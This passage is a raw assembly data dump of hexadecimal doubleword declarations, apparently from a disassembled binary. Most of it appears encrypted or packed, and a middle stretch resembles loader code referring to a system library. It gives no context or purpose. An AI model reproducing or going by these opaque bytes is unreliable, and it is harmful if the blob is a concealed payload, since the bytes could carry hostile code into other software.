0FFFFFDB8h, 1D27A73Ch dd 96C5C394h, 4EEF2ACDh, 0B93BD74h, 377E0E72h, 0D1731D36h dd 0C3078BC6h, 9DE97DEFh, 12C394C7h, 0FE2F3428h, 0A03945B3h dd 2F6CDD5h, 0C72D31CEh, 3F2785Ch, 2C74C5F4h, 0C913F711h dd 9FDC8DCh, 73E4435h, 25B15FB3h, 0C3947BA1h, 1DE1DC28h dd 0E46859ACh, 0D0AA3B79h, 0B95E6F25h, 638C576Ah, 88372514h dd 0D5E2C3DAh, 447B8101h, 8EB89CF0h, 6FF089D5h, 0FEA519Bh dd 0EE9DBDC8h, 97AA3AD4h, 0B281C1DAh, 0FC2DE7E6h, 0C2EFE9EFh dd 78BC6D3h, 0FA5C25C3h, 0CC000001h, 0F65E2A42h, 7CD17E3Dh dd 52B61A27h, 0BD6AD07Eh, 0DB754850h, 941D7A0Bh, 2B304CC3h dd 2CB4ADC1h, 0B189BD9Fh, 1B3645A2h, 0E4D524D1h, 17C64Ah dd 899C4D31h, 0C8D4D4B8h, 54C26868h, 64588E21h, 0E4BB7EF6h dd 360C446Bh, 68759939h, 9768DA8Ch, 0DAAh, 1AD9F002h, 0B4AF9AEDh dd 0E271485Bh, 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h dd 5AAA5B98h, 217F063h, 0DDF2C37h, 853EED99h, 2D9362C5h dd 14F8D5DEh, 69F38814h, 8526A7C5h, 8D228BDh, 0A0B38E9Dh dd 8B903447h, 83BEC7B6h, 2172DBAFh, 3448A014h, 21B33D2Fh dd 7AF4F98Dh, 0DA744E3Ah, 71C2AB0Ah, 0B1BE8444h, 8C6E5753h dd 3715EA58h, 9100000Dh, 78954E85h, 26C71C2Dh, 907DE6DBh dd 7FA84B8Ah, 7AD91A25h, 0BD809873h, 0D3049A6h, 0D0EF39D6h dd 0A491E203h, 169E52BFh, 0C5853972h, 0DE9E06F5h, 0CD72F8D5h dd 0AF643850h, 0D8ACC05Eh, 0AFC394CFh, 41E5776Bh, 0C394CF05h dd 0B296B08Ah, 0D319227Ah, 9E2B225Bh, 9547BBBDh, 0B3E7E30Bh dd 12683A61h, 3F7B9DE5h, 6D9B854Ch, 3D081D8Ah, 0E9247826h dd 61B10145h, 58BC863Ah, 8A471A92h, 6BF54470h, 945C69BAh dd 307088F0h, 66E50377h, 51BCCE1Ch, 6FDE0847h, 0D9362D1Ch dd 0B865F7CAh, 95E95D60h, 1645977Bh, 85ECECC8h, 0CB42ECD6h dd 2D3F83BEh, 327F0BA3h, 8AF03070h, 273C405Ch, 5ABCC835h dd 0E397E44Dh, 103E1267h, 2967D65Eh, 0F2C84E7Bh, 793D9975h dd 0E758AA92h, 0C5Ah, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h dd 0B2C72033h, 0BDAF5C87h, 85385D29h, 0FD63D2C5h, 14F8D5DEh dd 69F38814h, 9F1B24C5h, 8251A9BDh, 67B21265h, 4EA2E66Ah dd 0CB297895h, 8A15FCA7h, 469DF136h, 760D6FBEh, 1D6140E4h dd 94EEBD9Fh, 91EB1A20h, 94F480AEh, 413A611Dh, 8FBE5253h dd 0BA2C35F0h, 94h, 0FAD7DE42h, 0BA50A716h, 3F58CD8Ch dd 0A0244835h, 27C394E5h, 379BFFD3h, 0BD013046h, 0FD891DAFh dd 72C394E5h, 186FDE08h, 785C6DBCh, 5AE1BBFBh, 0E79D1C90h dd 0B352BD9Fh, 0CEA44708h, 3F4BE30Ch, 0B03A617Ch, 0F572564Ah dd 865CCAFBh, 8F7DD230h, 2900000Bh, 907DE6DDh, 7EAFB485h dd 28C51E33h, 9770E3D2h, 12A1B28Dh, 0D5E830CBh, 0A598E10Eh dd 84751BEh, 0DCE93AEBh, 0FE76FA07h, 0C585388Ah, 0DE36AE1Dh dd 8570FAD7h, 93F75B76h, 5B03F275h, 0AD000000h, 1C6FD7DEh dd 0F223C92Dh, 907896A3h, 0ED7F0498h, 6B62B263h, 0F185A3E7h dd 0BD9F0424h, 44B6B189h, 7F865D54h, 0B24348Bh, 6ABC0000h dd 10678053h, 0C6D53221h, 67BF688Bh, 166A9B58h, 668D342Fh dd 91427D87h, 0C1122F74h, 7EE5D024h, 0AA498491h, 67638B61h dd 0E8C5853Bh, 0D5DEA319h, 0B4C614F8h, 0B90D3049h, 1DF98D45h dd 744EC394h, 0DD2673DAh, 941D3D49h, 5448B2C3h, 3D445986h dd 8FA65890h, 0FB49E961h, 44C8F50Ah, 0EC4CC0DBh, 0E3C73BA8h dd 0AE626345h, 32401E7Fh, 0E04850BDh, 0F841A598h, 0E92D91ACh dd 234BA3Fh, 46420000h, 0D66D0F5Bh, 5A5E004h, 98C7BD9Fh dd 8196940Ch, 139183BCh, 22C13EE8h dd 61CACACAh, 0BB9CF02Fh, 0F7C538ABh, 55EE8E28h, 6F2A6F87h dd 49F6BBC2h, 4B4FBA45h, 8F8CBAF7h, 10E4D9DEh, 0E674D83Ch dd 39D7E237h, 0DE0C1765h, 7A59A14Ch, 4A8B296h, 0C3C52F40h dd 8155F3C7h, 0BDC8E0D9h, 0FFE6C56h, 0FB14CFFAh, 985493AEh dd 67860F77h, 0A302CE3h, 7E880000h, 24739C47h, 0D221CE15h dd 738B64FFh, 2276974Ch, 6A71C013h, 0ADB68993h, 0DD063B40h dd 0AE9E430h, 0A6BD889Dh, 6B1F9755h, 0FCC5853Ah, 0D7DE970Dh dd 861616FAh, 6CC76FFDh, 0FDBD8526h, 51A65785h, 0F776129Ah dd 14F93A7Ah, 0A4E320Fh, 0C4213216h, 0EE0417BFh, 3B109FBh dd 0B2067A38h, 66F07A5Eh, 7AE7BACEh, 1B350D3Ah, 9EA5F737h dd 255D84Ch, 16874470h, 0B4F3302h, 0A6407D82h, 1A8B51A9h dd 0CA3B3805h, 550488B5h, 1CFA7540h, 0DF8C6E56h, 998946Bh dd 0E6300000h, 8C9B74EFh, 3A49A6BDh, 0EB33DC07h, 9A9E0FD4h dd 0D219B8BBh, 5DEE13Bh, 0B5AE93E8h, 0E2714C58h, 1EC5F005h dd 93F77FEDh, 14C5853Ah, 0D5A13FA5h, 0C3941DB9h, 394FF700h dd 6246BA0Eh, 0EBD62F9Eh, 0FA0B2D67h, 0AE3F7580h, 5AE1BBFBh dd 0F8911C90h, 0DACBBD9Eh, 0F14EF8C5h, 6AD16389h, 9D99EA2Bh dd 0E60EDC0Dh, 3A605EE2h, 1AF31D65h, 7521320Fh, 0BCCE1C27h dd 605E5C28h, 41EFD33Ah, 3A7E07AFh, 10A2446Dh, 7280E89Ch dd 0ED1B7F30h, 0AD76816Eh, 72804D39h, 84F8C230h, 6CD0EF35h dd 0F7263428h, 0A34C97A2h, 2CEC7B56h, 0A38C6B8Fh, 8E4E0A7h dd 2A7C0000h, 0D027C013h, 869572E1h, 277FA84Bh, 0D62ADB18h dd 0A6CD74EFh, 0D1023D47h, 1D2EF34h, 0BEA590E4h, 0EA094451h dd 27A3CB21h, 0A8C58535h, 27A763D9h, 0A6C3941Dh, 68FA605Dh dd 941D80C4h, 0C2F109C3h, 0BE839875h, 248CBD5Ah, 0F7DE7000h dd 0BCC09E59h, 2AD5EC32h, 9FA40CAh, 0C6140827h, 9E1F09AEh dd 0DA007ABDh, 71E2DD2Bh, 0C1B58094h, 8710Eh, 50BD9600h dd 0C3DB7548h, 34B8A2B9h, 0BD9F2C3Dh, 9022C832h, 60F1681Ch dd 6D9BFF3Ah, 0F13D4DE5h, 0C8E83A60h, 0DD26C73Dh, 92032C35h dd 0ED000001h, 0BFFD6DEh, 0FA605DA2h, 7DC1F80Bh, 0D11BEF19h dd 12E6D324h, 2440A0E5h, 1656B1Eh, 0FB1D66E7h, 6068DC3Ch dd 4993F759h, 188C475Ch, 0C394B26Ch, 0D7BB9FE3h, 0CFD55F3h dd 854258F8h, 94B26561h, 0BC90EAC3h, 0F205F4C8h, 3B1F73C7h dd 8EB9CF38h, 839CE23Ah, 0B2C9D559h, 0E213C394h, 8C8BA59Ch dd 5D57C2B6h, 625DAB50h, 2D5143F8h, 24D3EE3Dh, 0B6A4B45Dh dd 946C4A3Eh, 4BE5DDC3h, 1E297FA8h, 2275A0AAh, 256DF917h dd 0D8C3946Dh, 0D024CDD8h, 0A1152870h, 6D77139Bh, 82F8C394h dd 1FA94AAEh, 0DCE53AA0h, 0A35FF8C9h, 7844E223h, 22D31926h dd 3216FAD7h, 93C85A14h, 0EF747638h, 6CF8165Eh, 0C3940F10h dd 1D2F93E7h, 24A8A1F0h, 0BEC746E0h, 0F95F175h, 201AC394h dd 269517CCh, 12B61A0Eh, 0A9F84178h, 3EE82C90h, 1A1EB6CFh dd 1F73573Bh, 84B1C2ABh, 56470530h, 0D0D27C41h, 0FE104FD5h dd 0A9E1B646h, 61FEE18h, 0B6CF383Bh, 95E7078Bh, 0A1C85C8Eh dd 73BD9F96h, 0BA394DE1h, 0B48E3A61h, 9E45BD9Ah, 0A1152871h dd 65BF3549h, 70F4665Ah, 3A61BA18h, 6EDFA397h, 0F6A72B2Ah dd 22289CA1h, 61BAFE8Ah, 3409713Ah, 90ADE1ECh, 176C9510h dd 2DBFC92Ah, 4898B1C0h, 3A61BA3Ch, 0ACA14FB3h, 17A2B157h dd 0D446A51Ah, 3A9AEE06h, 156D3A61h, 4F2D4D31h, 0C38E2634h dd 19446A0Eh, 0C63678Fh, 9EE4307Eh, 0B4AF9370h, 0E47F425Bh dd 11C2FD0Bh, 760D6FE3h, 345D40E4h, 0E8D2BD9Fh, 5762B564h dd 0A6F748Ch, 21A18175h, 0F4C3941Dh, 42EB21ACh, 6F3240F1h dd 2Dh, 0E81E5EFDh, 0DB779CB6h, 0D7DE372Dh, 0AADE16FAh dd 7FC3941Dh, 0F520A825h, 0EF2397A2h, 88B9CC41h, 0FEC3C36Bh dd 70D7C393h, 0FFFFFFBEh, 0F8D5DE98h, 6F65DB06h, 0B493750Ah dd 50CCD4Ch, 0A0323740h, 941D780Ch, 9FB2C1C0h, 552CDA20h dd 34h, 750A6FB3h, 5D29BD93h, 0D2C3941Dh, 50BD76E8h, 4C807445h dd 0B2BD32B3h, 0C866BEFFh, 0D7DEE026h, 0A428176Fh, 7BAA0C60h dd 66C885h, 0F9240000h, 8C729CA3h, 0CFBB33BDh, 0C3941Dh dd 0E2DB2001h, 54AE29B0h, 8097E2BAh, 625DAB5Ah, 968CBA9Eh dd 0E04850BDh, 0F544B891h, 0F37DABA6h, 941D0F7Bh, 0CB63EDC3h dd 0C3941DBFh, 931CCA30h, 47BD9177h, 0B4A50BDh, 0AC5A7782h dd 857B56A1h, 0CFBB33BDh, 4EC3941Dh, 47BB0F46h, 4F7582F8h dd 63859508h, 0B85E52FCh, 0AFED3DEh, 941DAEDAh, 0A42163C3h dd 0ABA6F11Ch, 4881907Dh, 172A73A2h, 4EE87EF9h, 4CC39421h dd 6BEFACD8h, 0FBDF233Ch, 0FFF44F04h, 0D7DEACFFh, 5F3D79FAh dd 0F79E16C4h, 48BD9F24h, 26A68E72h, 0F33A60E8h, 3DEC24A1h dd 32C3502h, 182886DCh, 764A3E03h, 6CA50DC9h, 143FC2h dd 0C8D90000h, 0Eh, 1D6B9A24h, 1DA62222h, 0D129C394h, 1EBDC137h dd 4FE7E2D2h, 0C3947F3Bh, 7589B68Ch, 0EF358416h, 0FE286CD0h dd 9745DEBEh, 0B28F9805h, 7301C094h, 51E3BD9Fh, 6150A9DDh dd 75C43E3Ah, 1CFB1520h, 0BF873426h, 0EDBD0564h, 77262AC4h dd 5CC21120h, 3A619955h, 0BEA590E4h, 0E2084751h, 0D7F2057Dh dd 8BA5DE36h, 1C06B587h, 379CA097h, 3E0B1AE3h, 32C9A510h dd 0B05DE7E6h, 37E66A67h, 2E62D6E1h, 0E7311CCAh, 899A0BE8h dd 24A6224Ah, 0D1293A61h, 8C9976FDh, 0A0F2B2B1h, 0BABFC25h dd 0F6E9CDFCh, 0BB33BD1Eh, 0C3941DCFh, 52CC7A40h, 31C004BBh dd 0D496h, 0F6F7E00h, 0D458EA70h, 0C3941DB0h, 2B7AC337h dd 0B856AA1Eh, 5829BD42h, 79C3941Dh, 33BB788Ch, 0C3941D57h dd 0AA8EE2D8h, 0C233BD34h, 0DC3084B1h, 7A75CC32h, 6DD5DE82h dd 20CA2E15h, 0F305AFF5h, 381C70C4h, 65DB280Eh, 9D4150BDh dd 0AD5BBF8Ah, 11F78811h, 0CCD4CB4h, 25374005h, 3Eh, 0C58125B7h dd 4AC0941Dh, 40A493E5h, 0A6FB0A6h, 50BD9375h, 0B990E34Bh dd 91ACF445h, 0AD3FE92Dh, 941D4D39h, 6F8C2C3h, 0D7DE47BDh dd 1DEC980Ch, 1F63C394h, 857B453Bh, 32C8h, 0A6F5000h, 0A855E775h dd 0BA9E625Fh, 941DDEAAh, 0BF6951C3h, 5D29BD59h, 7EC3941Dh dd 0C74B8691h, 0BDC9AF83h, 6FD7DE47h, 4479BE16h, 44B89CF0h dd 0C8857BE2h, 0FFFFFF19h, 0EF1EBD50h, 4BFA573h, 0BF033E4Bh dd 8F96675Bh, 6CB994B2h, 0EB3CED51h, 435905DEh, 37BA3238h dd 65BD9F7Ch, 88526FB8h, 61426064h, 7593E73Ah, 1BEAC96h dd 62CE86D6h, 0E3388138h, 0F8166ADEh, 5D95CA10h, 8EFA7239h dd 13A612Ah, 18E51E39h, 1272022Ch, 0C73A6109h, 1138D0DDh dd 382C3521h, 50h, 4150BDC4h, 1D1276FEh, 0AD95C394h, 7D1F9F49h dd 75EA74E6h, 659E1B1Eh, 0F282AC36h, 0BD9FF743h, 0C262D62Ch dd 3A61D582h, 75D9F003h, 0FC407184h, 7D119C96h, 47CDD8D8h dd 0C7BA018h, 0E20CF4E5h, 3608D178h, 0F63EEF2Ch, 0ACA831DFh dd 0B4000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh, 0A9FF67B0h dd 4D62A9Eh, 941DE4E0h, 33176BC3h, 1982BE20h, 8E9BC394h dd 3247A0B3h, 217BB307h, 6B4F7A8Fh, 0D6846D81h, 1794260h dd 63F884D2h, 629475F9h, 0EA74446Dh, 73280642h, 97B18930h dd 6D9842B8h, 0DACB2817h, 28156AC6h, 0F7073B34h, 262C8C6Ah dd 2A161h, 0D0EF3B00h, 0A693E203h, 84150BDh, 0DDE43AEBh dd 0AC93E906h, 2D900B7h dd 0F31CC7FEh, 0A34C97AAh, 0CF97A55h, 0E415CEFBh, 33E4E004h dd 9C6BC585h, 0FBDADE24h, 0B47F8471h, 941D5430h, 83E7DBC3h dd 10658265h, 6FC63E25h, 40E4760Dh, 0BD9F05D1h, 7F6645Eh dd 1A7EC2FDh, 0BCCC64ECh, 693A60CBh, 0A436BA4Bh, 60CB4400h dd 59F7CB3Ah, 35C746E7h, 0F5632Ch, 0DE8D0000h, 0A514F8D5h dd 549C605Fh, 0C3941978h, 5399B4C1h, 0F51809ECh, 0E327ABA6h dd 9BD65C54h, 81D8A6Dh, 0D4B02F3Dh, 59641080h, 85E56D9Bh dd 90AFF9F7h, 0D731AEBCh, 0E886D543h, 0E677DE26h, 0A498C381h dd 0A54CE08Ah, 1A426040h, 0B7FE66B5h, 0FED2369Ah, 7F1D599Ah dd 0ECFE76E4h, 7F446DDAh, 0C0B4898Eh, 1D42A88Ch, 15413C4Bh dd 30BA5446h, 5A80BFC5h, 996D5CABh, 64E8E130h, 4122CC20h dd 5531B5C7h, 0DA3072F9h, 0BDC746E0h, 0DF330E17h, 6B47E410h dd 583F0B8Ch, 192h, 72E1D82Ah, 0ACB78295h, 0DA193043h dd 75EED52Dh, 0A6BD8098h, 0EF35C81Fh, 9DE203D0h, 4252B3A0h dd 0EA3FE80Bh, 75F704DFh, 853295F1h, 35AB1AC5h, 98A31EBDh dd 88F49014h, 77BC394h, 0BC403DF8h, 5E61BB92h, 5D2F8Ch dd 0FA267B57h, 297AAB4Ch, 560642EAh, 0B189C394h, 0DE7E865Dh dd 0A514F8D5h, 48F76550h, 989EA236h, 0BE39D747h, 84719CE0h dd 0C682427Fh, 49C39438h, 90CF1D71h, 3E2E6C96h, 0E983AD03h dd 2D59CD5Fh, 0A2C3941Bh, 95A8F158h, 0B343ED21h, 0BD9EFE2Eh dd 0C4313B1Fh, 88FC70B3h, 1F3A60FCh, 0F31CC73Bh, 3741ABA6h dd 60FCCBBFh, 0C8665C3Ah, 39542840h, 60FCD1B5h, 86C563Ah dd 0C8D94AE2h, 28124471h, 6E601FDFh, 8146CC8Ch, 0BEh, 2E350C16h dd 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h dd 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h, 852DF98Dh dd 19FF4EC5h, 0E4760D6Fh, 85263B40h, 0FA4EB4BDh, 3A4EE670h dd 8D3A7AF4h, 61B29BB5h, 0F0748654h, 3A7AF494h, 6E09271Bh dd 0D7EA33E2h, 0F6C3D439h, 6AE3802h, 3A7AF442h, 0C042FDC5h dd 63B61CD8h, 9343133Dh, 8BB57CA3h, 6954AC59h, 90CF7AE5h dd 9F2150DDh, 0F7CED2BBh, 0A94E5F59h, 15F2615Ch, 0B8273500h dd 0E47C5030h, 0D05237Bh, 8B7F465Ch, 729B2A6Eh, 0DECF1421h dd 0B4AF23D5h, 89D8ACC0h, 6BAF4173h, 67D808ACh, 3D8BF03h dd 60000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 50CF7BCFh, 4055854h, 83000000h, 48704E8h, 0DB685C24h dd 89000029h, 3368241Ch, 8900005Eh, 0EC812414h, 4, 0B8240489h dd 3C640977h, 14439705h, 5ACC3577h, 0C389B569h, 148B5458h dd 4C48324h, 0F2BB5350h, 0B8738D4Dh, 738D4DFAh, 15BD829h dd 581889D0h, 5A2434FFh, 0FF04C483h, 815B2434h, 4C4h, 4D21E900h dd 0D30DFFFAh, 10296676h, 0CDB944CBh, 0ABB8F4F0h, 3061131h dd 85C650C5h, 60B2845h, 17256847h, 0B5FFCF38h, 60B0B01h dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60B24BDh, 1046850h dd 0D3FF0000h, 284585C6h, 6853060Bh, 8307F8BFh, 0B01B5FFh dd 858D060Bh, 60B390Dh, 8589D0FFh, 61115A3h, 2715BD83h dd 0F00060Bh, 0B84h, 0A59D8B00h, 0E9060B21h, 5, 0BBh, 1006800h dd 0B58D0000h, 61115A7h, 95FF5356h, 60B0071h, 15A7B58Dh dd 0F0030611h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 1115A785h, 95FF5006h, 61115A3h dd 4BE0FF58h, 907E8661h, 0EC2A9EAAh, 1F4EB405h, 0A249F462h dd 0D9526194h, 0D02E5206h, 954CA4F4h, 0DB0F423Ch, 8D455103h dd 8D13E367h, 1133738Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0E9FD14Ch, 0CB816602h dd 8D89CC23h, 60B174Dh, 8A5B529h, 85C7060Bh, 60B0119h dd 60F4h, 4860Fh, 0BF660000h, 85C74AFCh, 60B1009h, 0 dd 0EA8DE081h, 0B5FF20D1h, 60B1ADDh, 0CB8CE881h, 95FF2EBFh dd 60B0AC5h, 95FF006Ah, 60B32DDh, 2FEBC08Bh, 0FFA63F3Ch dd 0F8407E56h, 6AEEACA2h, 5E8C46B7h, 447F7BB2h, 887ECE7Dh dd 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h, 0B9040A6h dd 0E8CE248Eh, 0Ah, 0D1503E8Eh, 7631F31Bh, 0C08134C4h dd 3C227977h, 0CAC8815Bh, 816A4659h, 724AC3h, 0F5C93300h dd 810B3C8Bh, 57E8ED0h, 8F78131h, 662E8D43h, 103FC081h dd 8CDDF781h, 81666B3Dh, 81EB6FE8h, 0A6FF4FF7h, 71B53149h dd 89060B06h, 8A0F0B3Ch, 8, 0D1858960h, 61060B0Ah, 81D38B66h dd 0B873B1E9h, 0C181FC10h, 10B873ADh, 68F981F8h, 0FFFFF8Eh dd 1E85h, 0C0B85300h, 5825C397h, 31E9h, 0E4914A00h, 2DA9DA9Dh dd 75278022h, 0F52F6BACh, 0F14C3F5h, 382h, 5AF85100h, 0FFFF7BE9h dd 11F616FFh, 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h, 10E8D85Bh dd 37000000h, 41B011A0h, 77DF2173h, 82F3D63Dh, 8947DF71h dd 0B03D58Dh, 81665806h, 8178BDDAh, 6F33C0h, 9D8D8900h dd 2B060B0Fh, 11E960FFh, 0A000000h, 7AC51402h, 5256ABE6h dd 0CD5499C9h, 0E67762DDh, 27D1952Bh, 8B61060Bh, 0C381381Ch dd 1AA16DBBh, 0EB81F78Bh, 557E9913h, 14E9h, 0B8B7C00h dd 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h, 0BEC38166h dd 0F5A4B2Ch, 18Ah, 1C89F800h, 57D28138h, 890E8F13h, 0B0D3D85h dd 4EF8306h, 7CFF81F5h, 0FFFFF91h, 0FFFFAA85h, 10E9FFh dd 912E0000h, 3A4B9540h, 0CA37D555h, 0C2241F1h, 0CE89F28h dd 0AC000000h, 0A607B0Dh, 37651E4Eh, 8946AC5Ah, 0B151DB5h dd 0B8605A06h, 14346EA7h, 16AD9589h, 8161060Bh, 6BD6C2h dd 1FC88100h, 0BB6B495Fh, 1AC4h, 318D8B60h, 89060B00h dd 0B2E6595h, 0A8B6106h, 47A2DB8h, 95E98140h, 606C5669h dd 0AB1B58Bh, 61F5060Bh, 6AB2F181h, 0BD8937D4h, 60B1631h dd 0AFA0C181h, 85290753h, 60B328Dh, 71BD8951h, 8F060B2Ah dd 199D0902h, 83060B06h, 8B6604EAh, 1EB81C1h, 0F000000h dd 1A85h, 0FA8B6600h, 34E9h, 547B1100h, 0CA5300B7h, 6DCBB785h dd 7BCFFFD5h, 602453BAh, 0BA19529h, 0BD31060Bh, 60B22FDh dd 0FF84E961h, 39DDFFFFh, 0FEC251DBh, 86D6B6EAh, 97C1AD84h dd 0BF8D8DF3h, 6A061136h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 2AC5C352h, 3DB589E5h dd 89060B33h, 0B174D8Dh, 0DE806h, 0A1380000h, 0A8040540h dd 0D04842F9h, 8BA9C22Ah, 0B080985h, 0BD8B5E06h, 60B025Dh dd 11985C7h, 6410060Bh, 858B0000h, 60B0739h, 3F63B7BAh dd 985C71Bh, 60B10h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E893C357h, 11h, 2EFFEEBBh dd 633A612Dh, 371244CEh, 39F19231h, 9ABF66C7h, 0B5FF5ABCh dd 60B2355h, 2C90BF60h, 8E82B71h, 9D000000h, 34C82D1Fh dd 80968DBEh, 6159CFE4h, 0AC595FFh, 958B060Bh, 60B1169h dd 95FF006Ah, 60B32DDh, 0FEBC08Bh, 5B603283h, 1E30AAB9h dd 3C270157h, 0EB7DADC8h, 0B61B9026h, 8EAFEC33h, 64746E55h dd 642E6C6Ch, 88006C6Ch, 34074621h, 55A3D25Dh, 50EF50h dd 0 dd 0E9000000h, 687h, 11385768h, 482DE906h, 0F668FFFAh dd 0E9061138h, 0FFFA4823h, 1139BD68h, 4819E906h, 5D68FFFAh dd 0E906113Ah, 0FFFA480Fh, 113B5868h, 4805E906h, 768FFFAh dd 0E906113Ch, 0FFFA47FBh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h dd 0A2F710C3h, 0ADBF4C97h, 852A4D39h, 8D73C2C5h, 3AC8h dd 0D5DE5000h, 1DE2E60Eh, 1D65C394h, 518C3339h, 0C5D7635Ch dd 0C208002Eh, 0BE483CB0h, 0FBDFC394h, 9AB7C04Dh, 615CA550h dd 0D48FB99Dh, 94BE0242h, 5A7583C3h, 999E0F99h, 6F948AA4h dd 40E4760Dh, 0BD9EFD91h, 9050241Eh, 3A60C3F0h, 3046B725h dd 0AF59BD01h, 0E900F8F5h, 0C02C35CEh, 238h, 3632462Ch dd 0E70FDD66h, 0BD9F05A2h, 5C28BCCEh, 0D33A60C5h, 0EC241EFh dd 60C5E2E6h, 0E0E4083Ah, 673A60C5h, 7A5EA413h, 0D52ADB05h dd 62064E8h, 4EAF3F7Eh, 0D66D0F06h, 0D445FA04h, 0E904F890h dd 0E809DD0Bh, 4588589Dh, 0B91897Dh, 0E358EA70h, 81D186F3h dd 0BE46E044h, 922216D6h, 1A8B51A9h, 615CA909h, 0D94DDF0Dh dd 0EA395AADh, 0C2862E22h, 45EA395Ah, 74EF197Dh, 0B4B38E9Bh dd 56A587F2h, 944E0101h, 89000004h, 709D467Dh, 0DECF1425h dd 8865FED3h, 77904372h, 72C1122Dh, 0B588906Bh, 53841AEh dd 0E8E731DEh, 0BC899A0Bh, 1E965AA7h, 0C585256Ah, 0DE960EFDh dd 0E2E60ED5h, 65C3941Dh, 5555391Dh, 862E3C47h, 0BD9F1CF3h dd 0A0D50E74h, 0BBC0DC18h, 0FA083DB1h, 0D31D446Bh, 7DCB2F5Bh dd 665AA030h, 431EC501h, 4C50DFE0h, 50812537h, 0DDE6D2E0h dd 831911E5h, 92FA72F8h, 6DE8D92Eh, 31B5C715h, 8CA66255h dd 0A657E0DAh, 10C10EF9h, 816CFE28h, 6D9A5974h, 86222D18h dd 7D311FDAh, 3F53295h, 0DE280000h, 84937CE7h, 3241AEB5h dd 0D32BC41Fh, 829677ECh, 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h dd 0EA094450h, 6DDE83Dh, 8BFF77F5h, 1CC58525h, 0D5DE37ADh dd 881414F8h, 68BC69F3h, 7B95E95Dh, 51D567F1h, 0C3941D35h dd 1D2B5FD7h, 46BCC394h, 9F6781F9h, 0BD9F2A6Eh, 16ED40FFh dd 0E9E38AA7h, 6C306EF5h, 3CE105D7h, 5C44714Bh, 0E56964B1h dd 0F1CCD8A1h, 201FC90Dh, 90E510DAh, 4451BEA5h, 0A8C40CD2h dd 0E70F199Ah, 3077EEE3h, 303A1E64h, 77EEC8BCh, 77B5F30h dd 0A7234BD5h, 283077EEh, 0DCDC34D2h, 3DB1BBC0h, 4E7CFE88h dd 0F2EC539Dh, 958EC247h, 0A9691DD5h, 84FE2E4Ch, 1AEBA7A0h dd 1AE8927Ah, 32EA5h, 38176300h, 8EBBCA3Bh, 5069B855h dd 251C6283h, 0F4CBD13Eh, 6A81E86Fh, 0DB342F16h, 8B64FFC2h dd 7491427Dh, 3CCD1623h, 24CCB82Ch, 0F443C585h, 0F8D5DE0Ch dd 0F3881414h, 0E72EDF69h, 29A83CEAh, 6BD9F26h, 99D0273Ch dd 78000001h, 0CE991EBDh, 0EC8D850Bh, 0C24C5342h, 0B4F9209Dh dd 0ABFD2331h, 0F0D4289Ch, 2D364656h, 0E92B73Fh, 0AF93BD9Fh dd 0AB8EBE48h, 5E3E375Ch, 0BA9F17C5h, 8BB928C0h, 0D1ABC3B7h dd 640CA04Ah, 0DB43350Bh, 7F8875E7h, 23749142h, 6FABD916h dd 927087B4h, 28E3Dh, 58778300h, 2E1B6A9Bh, 0F0C9D835h dd 457C8263h, 142B719Eh, 8A6188CFh, 7B944F76h, 2BC41F22h dd 9471E2DDh, 5CADB683h, 276C188Ch, 14E3C585h, 0F81EBDACh dd 196D81B4h, 0EEC394A9h, 0EB7B6B94h, 8C997492h, 0CFADCDB1h dd 8A14A6B4h, 4A3E011Bh, 7C8AFE76h, 251DC394h, 7D3E7B0Bh dd 4B8FBD9Fh, 85D7E7A8h, 0FFE6CF7h, 77BCFFAh, 7D3551D5h dd 40BA3A61h, 65A0C4A6h, 0EA446A65h, 25BACE66h, 0C30D307Eh dd 7E25DFABh, 766A5030h, 250440E4h, 0B78B307Eh, 66F07C53h dd 7E25BACEh, 1B350D30h, 9F7C1C4Bh, 0F18A12C5h, 63D6C36Bh dd 9557D897h, 69217511h, 0AC80FA9Dh, 522E01BEh, 56E1DC28h dd 6C9A8A5Bh, 0B8F884E4h, 20699F43h, 0F588B74Fh, 0B0D4DFCAh dd 0C02D3F13h, 866886BBh, 4D708974h, 67ABD3A3h, 3E04E364h dd 99B4C12Ch, 6D58AD5Ah, 6393ECE2h, 542B1F27h, 193h, 9E457C86h dd 0C82B2671h, 66FDCCDFh, 91427189h, 0C2112C74h, 8B916C73h dd 397EAFB4h, 0E62EDF04h, 8E9B74EFh, 915BA0B3h, 8526691Dh dd 0A90FFEC5h, 14F8D5DEh, 0D8288814h, 0BA07E4ABh, 7CF07A5Eh dd 0BD9F818Dh, 0DD3B3802h, 0E4760D6Fh, 85062740h, 8852A8BDh dd 5DA8081Dh, 40A4986Ch, 90E41193h, 53FDD1A5h, 289CA9FAh dd 0FC02ACF0h, 391D71C5h, 0CF1EBB33h, 2B6F446Bh, 90E59AC1h dd 2129C2CFh, 6FB86507h, 13648152h, 53885226h, 0CF6C8B50h dd 0B4082660h, 658953E8h, 4E42B208h, 3F45B0h, 0D61169E6h dd 9280289Ah, 0E41EF151h, 0D9000000h, 806DF6CDh, 6E9F4475h dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C58521BAh, 6FC6BE0Dh dd 77E4760Dh, 9066DD3Eh, 0AF41EF8Fh, 85DB6807h, 14F9BDh dd 